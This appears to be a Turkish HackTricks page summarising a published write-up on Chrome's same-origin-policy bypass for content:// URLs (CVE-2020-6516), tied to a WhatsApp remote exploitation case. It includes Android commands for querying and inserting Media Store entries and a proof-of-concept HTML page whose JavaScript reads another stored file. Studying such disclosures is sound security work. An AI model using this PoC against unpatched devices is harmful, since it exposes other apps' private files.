6.4 KiB
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live bizi takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
{% embed url="https://websec.nl/" %}
Bu, https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/ gönderisinin bir özetidir.
Medya Mağazasında Dosyaları Listeleme
Medya Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:
$ content query --uri content://media/external/file
Daha insan dostu bir çıktı için, her indekslenmiş dosyanın yalnızca tanımlayıcısını ve yolunu gösterin:
$ content query --uri content://media/external/file --projection _id,_data
İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim, belirli bir content://
URI'sini gerektirir. Bir sağlayıcıya erişim yolları hakkında bilgi, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.
Chrome'un İçerik Sağlayıcılara Erişimi
Android'deki Chrome, content://
şeması aracılığıyla içerik sağlayıcılara erişebilir ve bu sayede üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişim sağlar. Bunu göstermek için, bir dosya Medya Deposu'na eklenebilir ve ardından Chrome aracılığıyla erişilebilir:
Medya Deposu'na özel bir giriş ekleyin:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Yeni eklenen dosyanın tanımlayıcısını keşfedin:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Dosya, dosyanın tanımlayıcısıyla oluşturulmuş bir URL kullanılarak Chrome'da görüntülenebilir.
Örneğin, belirli bir uygulama ile ilgili dosyaları listelemek için:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Same-Origin-Policy Bypass
Aynı Kaynak Politikası (SOP), tarayıcılarda farklı kaynaklardan gelen verilerle etkileşimi kısıtlayan bir güvenlik protokolüdür; bu etkileşim, yalnızca bir Cross-Origin-Resource-Sharing (CORS) politikası ile açıkça izin verilirse mümkündür. Bu politika, bilgi sızıntılarını ve çapraz site istek sahtekarlığını önlemeyi amaçlar. Chrome, content://
'ı yerel bir şema olarak kabul eder ve bu da daha sıkı SOP kurallarını ifade eder; burada her yerel şema URL'si ayrı bir kaynak olarak değerlendirilir.
Ancak, CVE-2020-6516, content://
URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının aşılmasına izin veren bir Chrome zafiyetiydi. Sonuç olarak, content://
URL'sinden gelen JavaScript kodu, content://
URL'leri aracılığıyla yüklenen diğer kaynaklara erişebiliyordu; bu, özellikle Android 10'dan önceki sürümleri çalıştıran Android cihazlarda, kapsamlı depolamanın uygulanmadığı durumlarda önemli bir güvenlik endişesiydi.
Aşağıdaki kanıt konsepti, /sdcard altında yüklendikten sonra Medya Deposu'na eklenen bir HTML belgesinin, JavaScript'inde XMLHttpRequest
kullanarak Medya Deposu'ndaki başka bir dosyanın içeriğine erişip görüntülediği bu zafiyeti göstermektedir ve SOP kurallarını aşmaktadır.
Proof-of-Concept HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.